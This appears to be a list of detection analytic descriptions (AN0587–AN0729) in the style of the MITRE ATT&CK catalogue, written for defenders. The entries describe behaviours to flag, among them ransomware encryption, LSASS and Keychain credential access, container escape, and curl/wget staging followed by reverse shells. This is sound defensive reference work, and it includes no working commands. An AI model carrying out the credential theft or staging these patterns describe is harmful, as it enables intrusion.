[AN0587] Analytic 0587

Current version: 1.0

Description:

Instance enters degraded/unhealthy state due to abnormal process load or memory exhaustion, often caused by automation or script-based attacks.


[AN0588] Analytic 0588

Current version: 1.0

Description:

Container orchestrator logs show crashlooping pods, repeated resource exhaustion, or malicious binaries with infinite loops consuming systemd/cgroup limits.


[AN0589] Analytic 0589

Current version: 1.0

Description:

Registry read access associated with suspicious or non-interactive processes querying system config, installed software, or security settings.


[AN0590] Analytic 0590

Current version: 1.0

Description:

Detection of suspicious logon behavior using valid domain accounts across multiple hosts, off-hours, or simultaneous sessions from geographically distant locations.


[AN0591] Analytic 0591

Current version: 1.0

Description:

Use of domain accounts via sssd or winbind for logon activity outside of typical patterns, especially on sensitive systems or with lateral movement tools.


[AN0592] Analytic 0592

Current version: 1.0

Description:

Domain logins using network accounts or mobile accounts via Open Directory or Active Directory plugins, especially outside business hours or on atypical endpoints.


[AN0593] Analytic 0593

Current version: 1.0

Description:

Login to vSphere or ESXi hosts using domain accounts, especially those associated with vpxuser or unexpected group memberships.


[AN0594] Analytic 0594

Current version: 1.0

Description:

Direct login to cloud-hosted virtual machines via cloud-native access methods (e.g., EC2 Instance Connect, Azure Serial Console, SSM), followed by command execution or privilege escalation on the VM


[AN0595] Analytic 0595

Current version: 1.0

Description:

Adversary modifies or replaces the Terminal Services DLL (termsrv.dll) or changes the associated ServiceDll Registry value to load an arbitrary or patched DLL that enables persistent and enhanced RDP access. This may include binary replacement, registry tampering, and unexpected module loads by the svchost.exe -k termsvcs process.


[AN0596] Analytic 0596

Current version: 1.0

Description:

Adversary uses a process to establish outbound connections that transmit uniform packet sizes at a consistent interval, avoiding threshold-based network alerts.


[AN0597] Analytic 0597

Current version: 1.0

Description:

Outbound connections from non-network-facing processes repeatedly send similarly sized payloads within uniform time intervals.


[AN0598] Analytic 0598

Current version: 1.0

Description:

Processes on macOS initiate external connections that consistently transmit data in fixed sizes using LaunchAgents or unexpected users.


[AN0599] Analytic 0599

Current version: 1.0

Description:

Detection of executables or scripts containing hidden embedded resources or secondary payloads, often with anomalies in file size vs. functionality or dropped child binaries.


[AN0600] Analytic 0600

Current version: 1.0

Description:

Detection of shell scripts, ELF binaries, or archives containing embedded secondary payloads, self-extracting components, or unusual compression behavior during runtime.


[AN0601] Analytic 0601

Current version: 1.0

Description:

Detection of Mach-O binaries or AppleScripts that contain nested, encoded, or run-only embedded payloads dropped at runtime.


[AN0602] Analytic 0602

Current version: 1.0

Description:

High-frequency file write operations using uncommon extensions, followed by ransom note creation, registry tampering, or shadow copy deletion. Often uses CLI tools like vssadmin, wbadmin, cipher, or PowerShell.


[AN0603] Analytic 0603

Current version: 1.0

Description:

Encryption via custom or open-source tools (e.g., openssl, gpg, aescrypt) recursively targeting user or system directories. Also includes overwrite of existing data and ransom note drops.


[AN0604] Analytic 0604

Current version: 1.0

Description:

Userland or kernel-level ransomware encrypting user files (Documents, Desktop) using srm, gpg, or compiled payloads. Often correlated with ransom note creation in multiple directories.


[AN0605] Analytic 0605

Current version: 1.0

Description:

Ransomware encrypts .vmdk, .vmx, .log, or VM config files in VMFS datastores. May rename to .locked or delete/overwrite with encrypted versions. Often correlates with shell commands run through dcui, SSH, or vSphere.


[AN0606] Analytic 0606

Current version: 1.0

Description:

Encryption of cloud storage objects (e.g., S3 buckets) via Server-Side Encryption (SSE-C) or by replacing objects with encrypted variants. May include API patterns like PutObject with SSE-C headers.


[AN0607] Analytic 0607

Current version: 1.0

Description:

Detection focuses on unauthorized modification of Mach-O binaries to include LC_LOAD_DYLIB headers pointing to malicious dylibs. Behavior is identified via a chain of file metadata changes, removal of code signatures, and subsequent anomalous dylib loads at runtime. Correlation of file changes with lack of authorized updates and process memory mapping of unrecognized or unsigned libraries is crucial.


[AN0608] Analytic 0608

Current version: 1.0

Description:

Detects adversary manipulation of Extra Window Memory (EWM) in a GUI process, where the attacker uses SetWindowLong or SetClassLong to redirect function pointers to injected shellcode stored in shared memory, then triggers execution via a window message like SendNotifyMessage.


[AN0609] Analytic 0609

Current version: 1.0

Description:

Unusual modifications to service binary paths, registry keys, or DLL load paths resulting in alternate execution flow. Defender observes registry key modifications, suspicious file writes into system directories, and processes loading libraries from abnormal paths.


[AN0610] Analytic 0610

Current version: 1.0

Description:

Adversary manipulation of shared library paths, environment variables, or replacement of service binaries. Defender observes suspicious modifications in /etc/ld.so.preload, service config changes, or file writes replacing existing executables.


[AN0611] Analytic 0611

Current version: 1.0

Description:

Abuse of DYLD_INSERT_LIBRARIES or hijacking framework paths for malicious libraries. Defender observes processes invoking abnormal dylibs, modified plist files, or persistence entries pointing to altered binaries.


[AN0612] Analytic 0612

Current version: 1.0

Description:

Detection of container escape attempts via bind mounts, privileged containers, or abuse of docker.sock. Defenders may observe anomalous volume mount configurations (e.g., hostPath to / or /proc), unexpected privileged container launches, or use of container administration commands to access host resources. These events typically correlate with subsequent process execution on the host outside of normal container isolation.


[AN0613] Analytic 0613

Current version: 1.0

Description:

Detection of Linux container escape attempts via syscalls (unshare, keyctl, mount) or process execution outside container namespaces. Defenders may correlate unusual system calls from containerized processes with subsequent process creation on the host or modification of host resources.


[AN0614] Analytic 0614

Current version: 1.0

Description:

Detection of Windows container escape attempts by observing processes accessing host directories, symbolic link abuse, or privilege escalation attempts. Defenders may detect anomalous process execution with access to system-level directories outside of container boundaries.


[AN0615] Analytic 0615

Current version: 1.0

Description:

Detection of ESXi escape attempts by monitoring for anomalies in hypervisor logs such as unexpected VM operations, privilege escalation events, or attempts to load malicious kernel modules within the hypervisor environment.


[AN0616] Analytic 0616

Current version: 1.0

Description:

Detects USB device insertion followed by high-volume or sensitive file access and staging activity by suspicious processes or accounts.


[AN0617] Analytic 0617

Current version: 1.0

Description:

Detects USB block device mount followed by file access in sensitive directories or high-volume copy operations by user-controlled processes.


[AN0618] Analytic 0618

Current version: 1.0

Description:

Detects external volume mount with Finder, Terminal, or script-initiated file copy from user profiles, sensitive folders, or cloud storage sync directories to USB.


[AN0619] Analytic 0619

Current version: 1.0

Description:

Unusual or unauthorized processes accessing microphone APIs (e.g., winmm.dll, avrt.dll) followed by audio file writes to user-accessible or temp directories.


[AN0620] Analytic 0620

Current version: 1.0

Description:

Processes accessing ALSA/PulseAudio devices or executing audio capture binaries like 'arecord', followed by file creation or suspicious child process spawning.


[AN0621] Analytic 0621

Current version: 1.0

Description:

Processes invoking AVFoundation or CoreAudio frameworks, accessing input devices via TCC logs or Unified Logs, followed by writing AIFF/WAV/MP3 files to disk.


[AN0622] Analytic 0622

Current version: 1.0

Description:

Abuse of mmc.exe to execute non-Microsoft or user-staged .msc files and malicious COM CLSIDs. Behavioral chain: (1) suspicious mmc.exe invocation with /a or -Embedding and non-standard .msc path → (2) COM activation of non-baseline CLSIDs by mmc.exe → (3) mmc.exe loads non-baseline DLLs (user-writable/UNC/unsigned) → (4) optional network/DNS activity from mmc.exe.


[AN0623] Analytic 0623

Current version: 1.0

Description:

Detects SCCM, Intune, or remote push execution spawning scripts or binaries from SYSTEM context or unusual consoles (e.g., cmtrace.exe launching PowerShell or cmd.exe).


[AN0624] Analytic 0624

Current version: 1.0

Description:

Detects remote scripts or binaries deployed via Puppet, Chef, Ansible, or shell scripts from orchestration servers executing outside maintenance windows or in unmanaged nodes.


[AN0625] Analytic 0625

Current version: 1.0

Description:

Detects script or binary execution initiated via JAMF, Munki, or custom MDM agents outside of baseline, or JAMF launching new Terminal or osascript processes from remote command payloads.


[AN0626] Analytic 0626

Current version: 1.0

Description:

Detects cloud-native software deployment or management (e.g., SSM Run Command, Intune) initiating script execution on endpoints outside expected org IDs, admin groups, or maintenance windows.


[AN0627] Analytic 0627

Current version: 1.0

Description:

Detects central router or switch config management tools (e.g., FortiManager, Cisco Prime) triggering device reboots or config pushes using abnormal accounts or IPs.


[AN0628] Analytic 0628

Current version: 1.0

Description:

Detects anomalous use of COM objects for execution, such as Office applications spawning scripting engines, enumeration of COM interfaces via registry queries, or processes loading atypical DLLs through COM activation. Correlates process creation, module loads, and registry queries to flag suspicious COM-based code execution or persistence.


[AN0629] Analytic 0629

Current version: 1.0

Description:

Unauthorized creation or modification of DLLs loaded by LSASS, abnormal registry values under LSA extensions, and anomalous DLL load activity into the lsass.exe process context—correlated during boot or logon events.


[AN0630] Analytic 0630

Current version: 1.0

Description:

Detects behavior where files with non-executable or misleading extensions (e.g., .jpg, .txt) are created or modified but subsequently executed as binaries based on internal file headers or abnormal parent process lineage. This includes identifying polyglot files or malformed magic bytes indicative of masquerading attempts.


[AN0631] Analytic 0631

Current version: 1.0

Description:

Detects when a script or binary is named with misleading or benign-looking extensions (.jpg, .doc) and is then executed via command line or a scheduled task. Includes ELF header mismatches and content-type inconsistencies on disk.


[AN0632] Analytic 0632

Current version: 1.0

Description:

Detects binaries disguised as media or document types through extension-only masquerading or by modifying the file signature. Observes execution of files whose extension is not typically executable (.jpg, .txt), yet have valid Mach-O headers or execute via Terminal or launch services.


[AN0633] Analytic 0633

Current version: 1.0

Description:

Processes initiating outbound connections on uncommon ports or using protocols inconsistent with the assigned port. Correlating process creation with subsequent network connections reveals anomalies such as svchost.exe or Office applications using high, atypical ports.


[AN0634] Analytic 0634

Current version: 1.0

Description:

Unusual daemons or user processes binding/listening on ports outside of standard ranges, or initiating client connections using mismatched protocol/port pairings.


[AN0635] Analytic 0635

Current version: 1.0

Description:

Applications making outbound connections on non-standard ports or launchd services bound to ports inconsistent with system baselines.


[AN0636] Analytic 0636

Current version: 1.0

Description:

VM services or management daemons communicating on ports not defined by VMware defaults, such as vpxa or hostd processes initiating traffic over high-numbered or unexpected ports.


[AN0637] Analytic 0637

Current version: 1.0

Description:

Initial process initiates outbound connection to first-stage C2, receives payloads or commands, then spawns or injects into a second process that establishes a new outbound connection to an unrelated destination (second-stage C2).


[AN0638] Analytic 0638

Current version: 1.0

Description:

Shell script or binary initiates curl/wget request to staging domain, writes output to disk or memory, and shortly afterward launches another process that establishes new outbound connection to a different IP or hostname.


[AN0639] Analytic 0639

Current version: 1.0

Description:

Initial process using NSURLSession or similar APIs reaches out to known staging domains, followed by creation of a reverse shell or RAT connecting to a second unrelated server.


[AN0640] Analytic 0640

Current version: 1.0

Description:

CLI-based or API-based network call from the hypervisor to external staging host, shortly followed by a connection to a second external IP by a spawned process or scheduled task.


[AN0641] Analytic 0641

Current version: 1.0

Description:

Enumeration of global address lists or email account metadata via PowerShell cmdlets (e.g., Get-GlobalAddressList) or MAPI/RPC from non-admin, non-mailserver systems.


[AN0642] Analytic 0642

Current version: 1.0

Description:

Suspicious querying of organization-wide directory data via Google Workspace Directory API or Outlook GAL sync in high volume from abnormal users, service accounts, or unknown device contexts.


[AN0643] Analytic 0643

Current version: 1.0

Description:

Detects execution of binaries signed with unusual or recently issued certificates, correlation of process execution with abnormal publisher metadata, and mismatched certificate chains. Monitors for revoked or unknown code signing certificates used in high-privilege contexts.


[AN0644] Analytic 0644

Current version: 1.0

Description:

Monitors Gatekeeper, spctl, and unified log entries for binaries executed with unexpected or untrusted signatures. Correlates file metadata changes with process launches where signature validation is skipped, altered, or fails but the process still executes.


[AN0645] Analytic 0645

Current version: 1.0

Description:

Detects adversarial abuse of systemd timers by correlating file creation/modification of .timer and .service units in system directories with the execution of abnormal child processes launched by 'systemd' (PID 1), especially as root.


[AN0646] Analytic 0646

Current version: 1.0

Description:

Detects anomalous usage of ESXi Guest Operations APIs such as StartProgramInGuest, ListProcessesInGuest, ListFileInGuest, or InitiateFileTransferFromGuest. Defender perspective focuses on unusual frequency of guest API calls, invocation from unexpected management accounts, or execution outside of business hours. These correlated signals indicate adversarial abuse of ESXi administrative services to run commands on guest VMs.


[AN0647] Analytic 0647

Current version: 1.0

Description:

Defenders may observe adversary attempts to collect or export full device configurations by detecting unusual SNMP queries, Smart Install (SMI) activity, or CLI/API commands that request running or startup configuration dumps. Correlated behaviors include high-volume read requests for sensitive OIDs, repeated use of 'show running-config' or equivalent commands from untrusted IPs, or unexpected TFTP/SCP/FTP transfers containing configuration files. These behaviors often appear in sequence: anomalous authentication or privilege escalation, followed by bulk configuration retrieval and outbound transfer.


[AN0648] Analytic 0648

Current version: 1.0

Description:

Processes accessing LSASS memory or SAM registry hives outside of trusted security tools, often followed by file creation or lateral movement. Detects unauthorized access to sensitive OS subsystems for credential extraction.


[AN0649] Analytic 0649

Current version: 1.0

Description:

Processes opening /proc//mem or /proc//maps targeting credential-storing services like sshd or login. Behavior often includes high privilege escalation and memory inspection tools such as gcore or gdb.


[AN0650] Analytic 0650

Current version: 1.0

Description:

Unsigned processes accessing system memory or launching known credential scraping tools (e.g., osascript, dylib injections) to access the Keychain or sensitive memory regions.


[AN0651] Analytic 0651

Current version: 1.0

Description:

Detect the creation or modification of common media file formats (e.g., .jpg, .png, .wav) following suspicious process activity like compression or encryption, especially when paired with lateral movement or exfiltration behavior.


[AN0652] Analytic 0652

Current version: 1.0

Description:

Unusual use of steganographic or media processing binaries (e.g., steghide, ffmpeg, imagemagick) followed by outbound communication to external IPs with high data output and media MIME types.


[AN0653] Analytic 0653

Current version: 1.0

Description:

Abnormal usage of Preview, ImageMagick, or binary editors to alter images/documents, followed by exfiltration or outbound connections with mismatched file MIME types or payload structure.


[AN0654] Analytic 0654

Current version: 1.0

Description:

Suspicious modification of file artifacts (e.g., logs, ISO templates) on ESXi datastores, followed by beaconing or POST operations to external IPs potentially hiding payloads in file-like traffic.


[AN0655] Analytic 0655

Current version: 1.0

Description:

Detection of spearphishing attachments by correlating suspicious email delivery with subsequent file creation and abnormal process execution (e.g., Office spawning PowerShell or CMD). Behavior chain includes inbound email metadata → attachment stored on disk → process execution → outbound network activity.


[AN0656] Analytic 0656

Current version: 1.0

Description:

Phishing attachments executed on Linux systems are detected by linking email logs to file creation in mail directories and subsequent suspicious process execution. Look for unexpected binaries or scripts spawned from user mail directories and anomalous outbound network activity.


[AN0657] Analytic 0657

Current version: 1.0

Description:

Phishing attachment detection on macOS through correlation of Mail app logs, file creation in user directories, and abnormal process execution (e.g., Preview.app or Mail.app spawning Terminal or scripting binaries). Network traffic after attachment interaction is also monitored.


[AN0658] Analytic 0658

Current version: 1.0

Description:

Detection of modified or newly created /etc/rc.local or /etc/init.d scripts followed by suspicious execution during system startup.


[AN0659] Analytic 0659

Current version: 1.0

Description:

Detection of edits or additions to /etc/rc.common, /Library/StartupItems, or /System/Library/StartupItems and associated script execution during login or reboot.


[AN0660] Analytic 0660

Current version: 1.0

Description:

Detection of changes to /etc/rc.local.d/local.sh or rc.local during post-boot script execution with abnormal commands or additions.


[AN0661] Analytic 0661

Current version: 1.0

Description:

Detection of modified boot-time configuration scripts that persist malicious CLI commands across reboots.


[AN0662] Analytic 0662

Current version: 1.0

Description:

Adversary modifies website or application-hosted content via unauthorized file changes or script injections, often by exploiting web servers or CMS access.


[AN0663] Analytic 0663

Current version: 1.0

Description:

Adversary gains shell access or uploads a malicious script to deface hosted web content in Nginx, Apache, or other services.


[AN0664] Analytic 0664

Current version: 1.0

Description:

Adversary modifies internal or external site content through manipulated application bundles, hosted content, or web server configs.


[AN0665] Analytic 0665

Current version: 1.0

Description:

Adversary defaces internal VM-hosted portals or web UIs by modifying static content on datastore-mounted paths.


[AN0666] Analytic 0666

Current version: 1.0

Description:

Adversary uses compromised instance credentials or web application access to deface content hosted in S3 buckets, Azure Blob Storage, or GCP Buckets.


[AN0667] Analytic 0667

Current version: 1.0

Description:

Correlates registry modifications to EventLog or WMI Autologger keys, suspicious use of Set-EtwTraceProvider, and Sysmon configuration changes. Defender sees interruption or redirection of ETW and log event collection.


[AN0668] Analytic 0668

Current version: 1.0

Description:

Detects disabling or reconfiguration of syslog or rsyslog services. Monitors sudden stops in logging daemons and suspicious execution of kill or service stop commands targeting syslog processes.


[AN0669] Analytic 0669

Current version: 1.0

Description:

Detection of tampering with Apple's Unified Logging framework or modification of system log forwarding settings. Defender observes execution of logd-related commands or defaults write to logging preferences.


[AN0670] Analytic 0670

Current version: 1.0

Description:

Detection of syslog configuration tampering using esxcli system syslog config set or reload. Defender correlates command execution with absence of syslog forwarding activity.


[AN0671] Analytic 0671

Current version: 1.0

Description:

Monitor for abnormal certificate enrollment and usage activity in Active Directory Certificate Services (AD CS), registry access to certificate storage locations, and unusual process executions that attempt to export or access private keys.


[AN0672] Analytic 0672

Current version: 1.0

Description:

Monitor for file access to certificate directories, commands invoking OpenSSL or PKCS#12 utilities to export or modify certificates, and processes accessing sensitive key storage paths.


[AN0673] Analytic 0673

Current version: 1.0

Description:

Monitor for security commands and API calls interacting with the Keychain, as well as file access attempts to stored certificates and private keys in ~/Library/Keychains or /Library/Keychains.


[AN0674] Analytic 0674

Current version: 1.0

Description:

Monitor for abnormal certificate enrollment events in identity platforms, unexpected use of token-signing certificates, and unusual CA configuration modifications.


[AN0675] Analytic 0675

Current version: 1.0

Description:

Detects forged Kerberos Silver Tickets by identifying anomalous Kerberos service ticket activity such as malformed fields in logon events, TGS requests without interaction with the KDC, and access attempts using service accounts outside expected hosts/resources. Also monitors suspicious processes accessing LSASS memory for credential dumping.


[AN0676] Analytic 0676

Current version: 1.0

Description:

Unusual database command-line access (e.g., psql, mysql, mongo) from non-admin users, occurring outside typical automation windows or without known service context. Often followed by data dumps to .sql/.csv files or outbound data transfers. Defender sees CLI tools launched interactively or by unusual parent processes, file writes to dump-like filenames, and external connections shortly after.


[AN0677] Analytic 0677

Current version: 1.0

Description:

Database client execution (e.g., sqlcmd.exe, isql.exe) by users or from locations not tied to enterprise automation or backups. Often followed by creation of .sql/.bak/.csv files, registry artifacts for ODBC/JDBC drivers, or encrypted ZIPs. Defender sees SQL tools launched by explorer.exe, Powershell, or odd parent processes, plus file writes in user temp locations.


[AN0678] Analytic 0678

Current version: 1.0

Description:

Execution of Java-based or CLI database tools (e.g., DBeaver, Beekeeper, mysql, psql) from user profiles not tied to dev/admin roles, especially when followed by file writes and cloud sync activity. Defender correlates GUI tool launches, file write events in ~/Downloads or ~/Documents, and outbound API calls to known cloud services.


[AN0679] Analytic 0679

Current version: 1.0

Description:

Database enumeration and export activity (e.g., SELECT * FROM, SHOW DATABASES) issued via ephemeral VMs, admin APIs, or cloud shell from non-monitoring accounts. Defender correlates audit logs (CloudTrail, GCP Admin, AzureDiagnostics), storage write ops, and cross-region transfers by identities not tied to DB operations.


[AN0680] Analytic 0680

Current version: 1.0

Description:

Unusual or excessive database/table exports from SaaS database platforms (e.g., Snowflake, Firebase, BigQuery, Airtable) by users or apps not in known analytics or dev groups. Defender observes access patterns outside baseline working hours or with new query templates, and correlates those with audit logs or file downloads.


[AN0681] Analytic 0681

Current version: 1.0

Description:

Defenders may observe attempts to alter cryptographic settings on network devices that reduce key strength or allowable cipher suites. Suspicious indicators include configuration changes that downgrade encryption algorithms, key length parameters, or the disabling of strong encryption in favor of legacy ciphers. These activities often appear as CLI commands modifying crypto policies, firmware changes affecting crypto libraries, or unexpected updates to key management files. Correlation across device config logs and traffic analysis showing weaker ciphers provides higher confidence of malicious key space reduction.


[AN0682] Analytic 0682

Current version: 1.0

Description:

Detection of persistent login hooks configured via defaults or plist modifications that result in execution of scripts or binaries at user login, breaking expected parent-child process lineage.


[AN0683] Analytic 0683

Current version: 1.0

Description:

Monitor call log records from corporate devices for unusual or unauthorized numbers, especially repeated calls to/from known malicious phone numbers. Correlate with subsequent system events (e.g., browser navigation, remote management tool execution).


[AN0684] Analytic 0684

Current version: 1.0

Description:

Audit VoIP/SIP logs for suspicious outbound calls or call setup messages to unusual endpoints. Correlate with user activity such as browser execution or package installation following the call.


[AN0685] Analytic 0685

Current version: 1.0

Description:

Monitor Facetime, iMessage, or SIP client logs for anomalous voice call attempts. Link to subsequent user execution events (downloads, RMM installs) triggered post-call.


[AN0686] Analytic 0686

Current version: 1.0

Description:

Correlate MFA push fatigue or unusual consent grant attempts with call activity where adversaries may have socially engineered the user over voice.


[AN0687] Analytic 0687

Current version: 1.0

Description:

Behavior chain involving unexpected API calls to capture keyboard input, driver loads for keyloggers, or remote use of smart card authentication via logon sessions not initiated by local user interaction


[AN0688] Analytic 0688

Current version: 1.0

Description:

Detection of unauthorized keylogger behavior through access to /dev/input, loading kernel modules (e.g., via insmod), or polling user input devices from non-user shells


[AN0689] Analytic 0689

Current version: 1.0

Description:

Processes accessing TCC-protected input APIs or polling HID services without user interaction, or dynamically loaded keylogging frameworks using accessibility privileges


[AN0690] Analytic 0690

Current version: 1.0

Description:

Detects creation of cloud instances, services, or resources in normally unused or unsupported regions, especially following initial account access or credential use from known regions. Correlates resource provisioning across regions with absence of historical usage and alerting from standard logging services (e.g., GuardDuty not enabled in that region).


[AN0691] Analytic 0691

Current version: 1.0

Description:

CONTAINERS (Docker/K8s/containerd): A user pulls an untrusted image from a public/unknown registry and then creates/starts a container from that image. Shortly after start, the container spawns unexpected utilities (e.g., curl/wget/bash/python), or makes outbound network connections atypical for the namespace/workload. The analytic correlates Image Creation/Download → Container Creation → Container Start → Command Execution/Network activity within a short window and with a consistent image digest.


[AN0692] Analytic 0692

Current version: 1.0

Description:

IAAS (Cloud images/VMs): A new VM/instance is launched from a non-approved or newly-seen image (AMI/GCP Image/Azure Image). On first boot, cloud-init/user-data or embedded agents download code, spawn system utilities, or open outbound C2/mining traffic. The analytic correlates Instance/Image Creation → Instance Start → in-guest Process/Command Execution and/or anomalous network traffic.


[AN0693] Analytic 0693

Current version: 1.0

Description:

Remote/API driven creation and start of a container whose image is not on an allow‑list (or is tagged latest), executed by a non-admin principal, and/or started with risky runtime attributes (e.g., --privileged, host PID/NET namespaces, sensitive host path mounts, capability adds). Correlates createstart ➜ first network/process actions from that container within a short time window.


[AN0694] Analytic 0694

Current version: 1.0

Description:

Defenders observe command-line executions or API-based registry reads targeting sensitive paths like HKLM or HKCU with keyword filters such as 'password', 'cred', or 'logon'. Typically performed by Reg.exe, PowerShell, custom binaries, or offensive tools such as Cobalt Strike. Correlation with process ancestry and command-line arguments indicates suspicious credential discovery activity.


[AN0695] Analytic 0695

Current version: 1.0

Description:

Detects adversarial use of cloud-native APIs (e.g., AWS IAM, Azure RBAC, GCP Identity) to enumerate cloud group memberships or policy mappings via unauthorized sessions or scripts.


[AN0696] Analytic 0696

Current version: 1.0

Description:

Identifies unauthorized access or enumeration of administrative roles, security groups, or distribution groups via Exchange/SharePoint/Teams APIs or role discovery scripts.


[AN0697] Analytic 0697

Current version: 1.0

Description:

Monitors API calls and service-specific logs for enumeration of organizational roles, permissions, and group structure, particularly outside of normal admin behavior baselines.


[AN0698] Analytic 0698

Current version: 1.0

Description:

User-initiated installation of Python (pip), NodeJS (npm), or other language libraries, followed by unexpected network connections, credential access, or startup file modifications. Defender sees pip install or npm install commands run by a non-root user, followed shortly by new .py, .sh, or .js files in hidden directories, or interpreter-based execution during boot/login.


[AN0699] Analytic 0699

Current version: 1.0

Description:

Execution of pip.exe, npm.cmd, or MSI installers within user context, followed by script interpreter startup (e.g., python.exe) or PowerShell with unusual child processes or file writes in %APPDATA%, %TEMP%, or %LOCALAPPDATA%. Defender correlates command-line install tools with Sysmon and Event Logs to trace downstream behavior.


[AN0700] Analytic 0700

Current version: 1.0

Description:

Execution of Homebrew, pip3, npm, or manually downloaded PKGs from Terminal or shell, followed by the creation of startup agents, interpreter spawns, or outbound connections to unfamiliar domains. Defender links Terminal commands to plist creation, unsigned binary launches, and python3 or node processes connecting to remote endpoints.


[AN0701] Analytic 0701

Current version: 1.0

Description:

Detects the creation or modification of .service unit files in system/user-level directories, combined with execution of systemctl, service, or dynamically created drop-ins via systemd generators. Detects persistence by analyzing the ExecStart path, file entropy, and symlink usage, especially when paired with execution from /tmp, /dev/shm, or unmounted volumes.


[AN0702] Analytic 0702

Current version: 1.0

Description:

Monitor for anomalies in transmitted data streams, including mismatched file integrity checks, API interception, or man-in-the-middle modifications. Detect unexpected use of APIs that handle network I/O where transmitted data integrity could be manipulated.


[AN0703] Analytic 0703

Current version: 1.0

Description:

Detect alterations of transmitted data via monitoring syscalls (send, recv, write) or middleware interception. Identify mismatched file hashes when compared at origin vs. destination. Watch for anomalous activity from processes interacting with secure transmission services (e.g., OpenSSL, scp).


[AN0704] Analytic 0704

Current version: 1.0

Description:

Monitor system APIs such as CFNetwork and SecureTransport for anomalies in transmitted data streams. Detect mismatches in file hashes or SSL/TLS downgrade attempts that enable manipulation of transmitted data.


[AN0705] Analytic 0705

Current version: 1.0

Description:

Monitor for use of native utilities such as wevtutil.exe or PowerShell cmdlets (Get-WinEvent, Get-EventLog) to enumerate or export logs. Unusual access to security or system event channels, especially by non-administrative users or processes, should be correlated with subsequent file export or network transfer activity.


[AN0706] Analytic 0706

Current version: 1.0

Description:

Monitor for suspicious use of commands such as cat, less, grep, or journalctl accessing /var/log/ files. Abnormal enumeration of authentication logs (auth.log, secure) or bulk access to multiple logs in short time windows should be flagged.


[AN0707] Analytic 0707

Current version: 1.0

Description:

Detect abnormal access to unified logs via log show or fs_usage targeting system log files. Monitor for execution of shell utilities (cat, grep) against /var/log/system.log and for plist modifications enabling verbose logging.


[AN0708] Analytic 0708

Current version: 1.0

Description:

Monitor for cloud API calls that export or collect guest or system logs. Abnormal use of Azure VM Agent’s CollectGuestLogs.exe or AWS CloudWatch GetLogEvents across multiple instances should be correlated with lateral movement or data staging.


[AN0709] Analytic 0709

Current version: 1.0

Description:

Monitor ESXi shell or API access to host logs under /var/log/. Abnormal enumeration of vmkernel.log, hostd.log, or vpxa.log by unauthorized accounts should be flagged.


[AN0710] Analytic 0710

Current version: 1.0

Description:

Suspicious reuse of SSH agent sockets across multiple users or processes, anomalous access to ~/.ssh/ or /tmp/ssh-* sockets, and abnormal patterns of lateral movement via SSH without new authentication events. Defender view: detect when one process accesses another user's SSH agent or when an existing SSH connection is used to pivot unexpectedly.


[AN0711] Analytic 0711

Current version: 1.0

Description:

Unusual access to SSH agent sockets in /tmp/ or /private/tmp, process access to another user’s $SSH_AUTH_SOCK, and lateral SSH activity without corresponding login events. Defender view: correlation of socket access with anomalous network flows to internal systems.


[AN0712] Analytic 0712

Current version: 1.0

Description:

Detects extraction or mounting of container/archive files (e.g., .iso, .vhd, .zip) that originated from the Internet but whose contained files lack Zone.Identifier MOTW tagging. Correlates file creation metadata with subsequent execution of unsigned or untrusted binaries launched outside SmartScreen or Protected View.


[AN0713] Analytic 0713

Current version: 1.0

Description:

Defender observes unauthorized modification or creation of Python hook files such as .pth, sitecustomize.py, or usercustomize.py in Python site-packages, dist-packages, or user paths. This is often correlated with subsequent unexpected interpreter execution (e.g., python3 running without user interaction), changes in interpreter behavior (e.g., malicious imports), and outbound connections initiated from Python. Defender links write/modify actions on hook files with execve of python process and/or anomalous child process or network activity.


[AN0714] Analytic 0714

Current version: 1.0

Description:

Adversary installation or use of RMM software (e.g., TeamViewer, AnyDesk, ScreenConnect) followed by outbound beaconing or remote session establishment


[AN0715] Analytic 0715

Current version: 1.0

Description:

Execution of known or custom VNC/remote desktop daemons or tunneling agents that initiate external communication after launch


[AN0716] Analytic 0716

Current version: 1.0

Description:

Initiation of remote desktop sessions via AnyDesk, TeamViewer, or Chrome Remote Desktop accompanied by unexpected user logins or system modifications


[AN0717] Analytic 0717

Current version: 1.0

Description:

Defenders may detect adversaries forging web credentials in IaaS environments by monitoring for anomalous API activity such as AssumeRole or GetFederationToken being executed by unusual principals. These events often correlate with sudden logon sessions from unfamiliar IP addresses or regions. The chain is usually secret material misuse (stolen private key or password) → API request generating a new token → access to high-value resources.


[AN0718] Analytic 0718

Current version: 1.0

Description:

Forged web credentials may manifest as anomalous SAML token issuance, OpenID Connect token minting, or Zimbra pre-auth key usage. Defenders may see tokens issued without normal authentication events, multiple valid tokens generated simultaneously, or signing anomalies in IdP logs.


[AN0719] Analytic 0719

Current version: 1.0

Description:

Forged web credentials on Windows endpoints may be detected by anomalous browser cookie files, local token cache manipulations, or tools injecting tokens into sessions. Defenders may observe processes accessing LSASS or browser credential stores unexpectedly, followed by unusual logon sessions.


[AN0720] Analytic 0720

Current version: 1.0

Description:

On Linux systems, forged credentials may be injected into browser session files, curl/wget headers, or token caches in memory. Detection can leverage auditd to track processes accessing sensitive files (~/.mozilla, ~/.config/chromium, ~/.aws/credentials) and correlate with suspicious outbound connections.


[AN0721] Analytic 0721

Current version: 1.0

Description:

Forged credentials on macOS may be visible through Unified Logs showing abnormal access to Keychain or browser session files. Correlated with anomalous web session usage from Safari or Chrome processes outside typical user context.


[AN0722] Analytic 0722

Current version: 1.0

Description:

SaaS platforms may show forged credentials as unusual API keys, tokens, or session cookies being used without corresponding authentication. Correlated patterns include simultaneous valid sessions from multiple geographies, unusual API calls with new tokens, or bypass of expected MFA enforcement.


[AN0723] Analytic 0723

Current version: 1.0

Description:

Forged web credentials in Office Suite contexts may appear as abnormal authentication headers in Outlook or Teams traffic, or unexplained OAuth grants in M365/Azure logs. Defenders should correlate token usage events with missing authentication flows and mismatched device/user context.


[AN0724] Analytic 0724

Current version: 1.0

Description:

Detects file reads across locations followed by writes to temp or staging directories, often compressed or encrypted, indicating local staging behavior.


[AN0725] Analytic 0725

Current version: 1.0

Description:

Detects aggregation of files from different directories into /tmp, /mnt, or user-specified directories with archiving tools like tar or gzip.


[AN0726] Analytic 0726

Current version: 1.0

Description:

Detects staged data aggregated in /Users/Shared, /private/tmp with compression tools like ditto or zip, initiated via Terminal or AppleScript.


[AN0727] Analytic 0727

Current version: 1.0

Description:

Detects local staging behavior via snapshot creation or files written into VMFS partitions by scripts or unauthorized shell access.


[AN0728] Analytic 0728

Current version: 1.0

Description:

Monitor DNS query results where subsequent connections use derived or unusual port numbers not explicitly resolved, especially when tied to suspicious processes. Correlate Sysmon DNS logs (Event ID 22) with process creation and socket activity.


[AN0729] Analytic 0729

Current version: 1.0
